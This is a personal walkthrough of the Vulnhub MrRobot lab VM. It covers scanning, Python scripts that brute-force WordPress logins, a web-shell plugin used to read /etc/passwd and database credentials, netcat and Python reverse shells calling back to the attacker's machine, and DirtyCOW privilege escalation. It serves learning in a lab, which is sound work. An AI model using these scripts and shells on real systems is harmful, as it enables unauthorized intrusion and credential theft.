A few days ago I started my journey through popping VMs from Vulnhub, so I though I’d write down the process for each of them, mostly for myself.
The first machine is MrRobot which is based on the TV series bearing the same name.
I Installed the machine on my server and started it up and fired up my Kali VM. For reference, the network looks like this:
Kali: 192.168.1.200
MrRobot: 192.168.1.250
The first thing was a Nmap scan, as pretty much always.
root@kali:~/MrRobot# nmap -sV -sS 192.168.1.250 -Pn
Starting Nmap 7.70 ( <a href="https://nmap.org">https://nmap.org</a> ) at 2018-11-25 15:57 EET
Nmap scan report for linux.home (192.168.1.250)
Host is up (0.00054s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
443/tcp open ssl/http Apache httpd
MAC Address: 7A:80:5E:D0:9E:E6 (Unknown)[/shell]
So, no SSH port, and just HTTP(S) port open. At this point I go from my browser to 192.168.1.250 and I find some MrRobot related articles/pictures/videos. The website is built like a shell, but commands do not seem to lead to much, I try messing with some unformatted input, but nothing comes up.
First Key
I then scan the website with Nikto which finds eventually some interesting files and tells me that the website is using Wordpress. I am still quite a beginner in this whole thing, so it takes actually more than I want to admit to find the robots.txt file.
Lesson: Look for robots.txt file early, since it points to file that should not be indexed, and therefore might contain juicy stuff.
In fact, when I finally query for robots.txt I see the content:
User-agent: *
fsocity.dic
key-1-of-3.txt
So, here is the first key, along with what looks like a dictionary with 800000+ words.
Second Key
I knew that the website was running Wordpress, I had a dictionary, I just guessed that the list was the wordlist for user and/or password of WP.
I try therefore to bruteforce the wp-admin page. First, I try with THC Hydra
hydra -l admin -P ./fsocity.dic 192.168.1.250 http-form-post "/wp-admin.php:log=^USER^&pwd=^PASS^:ERROR" -V
It was quite slow though, so I just wrote a small python program to achieve the same.
import requests
wordlist = open("fsocity.dic").readlines()
set = set(wordlist) # REMOVE DUPLICATES!!!
tot = len(set)
i = 0
for w in set:
print "%d/%d" % (i, tot)
r = requests.post("http://192.168.1.250/wp-login.php", data={'log': w, 'pwd': “dummy”})
if "Invalid username" not in r.text:
print w
print r.text
exit(0)
i += 1
With this I quickly got “Elliot” as a valid user. Then I slightly modified the same script to bruteforce the password.
import requests
wordlist = open("fsocity.dic").readlines()
set = set(wordlist)
tot = len(set)
i = 0
for w in set:
print "%d/%d" % (i, tot)
r = requests.post("http://192.168.1.250/wp-login.php", data={'log': "elliot", 'pwd': w})
if "is incorrect" not in r.text:
print w
print r.text
exit(0)
i += 1
At this point I got the user:password Elliot:ER28-0652
With this login I had access to the Wordpress admin console. I immediately discovered that there was also another user, I bruteforced his password as well, I made him administrator and looked around, but the second key was not there.
I then googled my way around and found several shell plugins. I started with https://github.com/leonjza/wordpress-shell, I downloaded the .zip file and uploaded it as a plugin. I activated it and after that I had shell access to the VM as user ‘daemon’. I could execute commands like the following:
root@kali:~# curl -v "http://192.168.1.250/wp-content/plugins/shell/shell.php?$(python -c 'import urllib; print urllib.urlencode({"cmd":"uname -a"})')"
I started looking around, I managed to dump all the passwords for MySQL
define('DB_NAME', 'bitnami_wordpress');
/** MySQL database username */
define('DB_USER', 'bn_wordpress');
/** MySQL database password */
define('DB_PASSWORD', '570fd42948');
/** MySQL hostname */
define('DB_HOST', 'localhost:3306');
define('FS_METHOD', 'ftpext');
define('FTP_BASE', '/opt/bitnami/apps/wordpress/htdocs/');
define('FTP_USER', 'bitnamiftp');
define('FTP_PASS', 'inevoL7eAlBeD2b5WszPbZ2gJ971tJZtP0j86NYPyh6Wfz1x8a');
define('FTP_HOST', '127.0.0.1');
define('FTP_SSL', false);
At first I thought the second key would have been inside the database, but then I dumped the /etc/passwd file
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:103:106:ftp daemon,,,:/srv/ftp:/bin/false
bitnamiftp:x:1000:1000::/opt/bitnami/apps:/bin/bitnami_ftp_false
mysql:x:1001:1001::/home/mysql:
varnish:x:999:999::/home/varnish:
robot:x:1002:1002::/home/robot:
I then checked the robot home, /home/robot and found two files.
password.raw-md5
key-2-of-3.txt
I dumped the first file.
root@kali:~# curl "<a href="http://192.168.1.250/wp-content/plugins/shell/shell.php?$(python">http://192.168.1.250/wp-content/plugins/shell/shell.php?$(python</a> -c 'import urllib; print urllib.urlencode({"cmd":"cat /home/robot/password.raw-md5"})')"
It was md5 hash for “abcdefghijklmnopqrstuvwxyz”
At this point I needed a way to login into the machine as robot, I had user and password but the command-by-command shell was not enough.
This step took more time that I’d like to admit, but was anyway a good learning experience.
I tried to run
nc 192.168.1.200 -e /bin/bash 55555
While from my kali machine I was running
bash nc -lnvp 55555
It did not work.
I tried writing line-by-line a reverse shell in python
curl -v "<a href="http://192.168.1.250/wp-content/plugins/shell/shell.php?$(python">http://192.168.1.250/wp-content/plugins/shell/shell.php?$(python</a> -c 'import urllib; print urllib.urlencode({"cmd":"echo import socket,subprocess,os >> /tmp/pyshell2"})')"
curl -v "<a href="http://192.168.1.250/wp-content/plugins/shell/shell.php?$(python">http://192.168.1.250/wp-content/plugins/shell/shell.php?$(python</a> -c 'import urllib; print urllib.urlencode({"cmd":"echo s\=socket.socket\(socket.AF_INET,socket.SOCK_STREAM\) >> /tmp/pyshell2"})')"
curl -v "<a href="http://192.168.1.250/wp-content/plugins/shell/shell.php?$(python">http://192.168.1.250/wp-content/plugins/shell/shell.php?$(python</a> -c 'import urllib; print urllib.urlencode({"cmd":"echo s.connect\(\(\"192.168.1.200\",4444\)\) >> /tmp/pyshell2"})')"
curl -v "<a href="http://192.168.1.250/wp-content/plugins/shell/shell.php?$(python">http://192.168.1.250/wp-content/plugins/shell/shell.php?$(python</a> -c 'import urllib; print urllib.urlencode({"cmd":"echo os.dup2\(s.fileno\(\),0\) >> /tmp/pyshell2"})')"
curl -v "<a href="http://192.168.1.250/wp-content/plugins/shell/shell.php?$(python">http://192.168.1.250/wp-content/plugins/shell/shell.php?$(python</a> -c 'import urllib; print urllib.urlencode({"cmd":"echo os.dup2\(s.fileno\(\),1\) >> /tmp/pyshell2"})')"
curl -v "<a href="http://192.168.1.250/wp-content/plugins/shell/shell.php?$(python">http://192.168.1.250/wp-content/plugins/shell/shell.php?$(python</a> -c 'import urllib; print urllib.urlencode({"cmd":"echo os.dup2\(s.fileno\(\),2\) >> /tmp/pyshell2"})')"
curl -v "<a href="http://192.168.1.250/wp-content/plugins/shell/shell.php?$(python">http://192.168.1.250/wp-content/plugins/shell/shell.php?$(python</a> -c 'import urllib; print urllib.urlencode({"cmd":"echo p\=subprocess.call\([\\\"/bin/sh\\\",\\\"-i\\\"]\) >> /tmp/pyshell2"})')"
It did not work.
At this point I found an easier way to do what I did manually. I found a metasploit module that uploads a shell as a plugin which spawns a meterpeter session. https://www.rapid7.com/db/modules/exploit/unix/webapp/wp_admin_shell_upload
This allowed for a much more convenient shell, where I just logged in as robot and read the file.
At this point I had a shell and I had to escalate my privileges.
Third Key
In order to elevate my privileges I decided a route which I discovered later was harder than necessary. In any case, I used the dirtyCOW exploit to do that.
This is an exploit which relies on a race condition and allows unprivileged users to overwrite root-owned files (/etc/passwd) and therefore escalating privileges.
There are several exploits for dirtyCOW, the one that worked for me was https://www.exploit-db.com/exploits/40616.
I started Apache on my kali vm, so that I could serve the C code for the exploit and a bash script to execute once root was obtained. In fact, once the exploit is run it usually takes a very short amount of time to break the system and having to reboot the VM.
For this, I did the following:
cd /tmp
wget 192.168.1.200/dirtycow
gcc dirtycow -o cowroot -pthread
./cowroot
This gave the possibility to get a root shell, most of the times for a few seconds.
I prepared a script in bash to do the following:
usermod -a -G sudo robot
echo "%sudo ALL=(ALL:ALL) ALL" > /etc/sudoers
I added robot to sudo group and modified /etc/sudoers to grant root to all the users in sudo group.
At this point I run
./cowroot
bash post.sh
Then I rebooted the VM and I logged in again as robot very conveniently, this time with root privileges.
robot@linux:~$sudo -i
root@linux:~# ls
firstboot_done key-3-of-3.txt
root@linux:~# cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
Lessons Learned/Caveats/Things to Remember
- Check robots.txt in the process of scanning web applications.
- Look for the best shell you can manage to obtain since the beginning.
- For escalating privileges, first look for binaries with setuid bit. In the machine there was nmap available, and running nmap !sh was enough to pop a root shell.
- If you get a wordlist, remove duplicates.
For any correction, feedback or question feel free to drop a mail to security[at]coolbyte[dot]eu.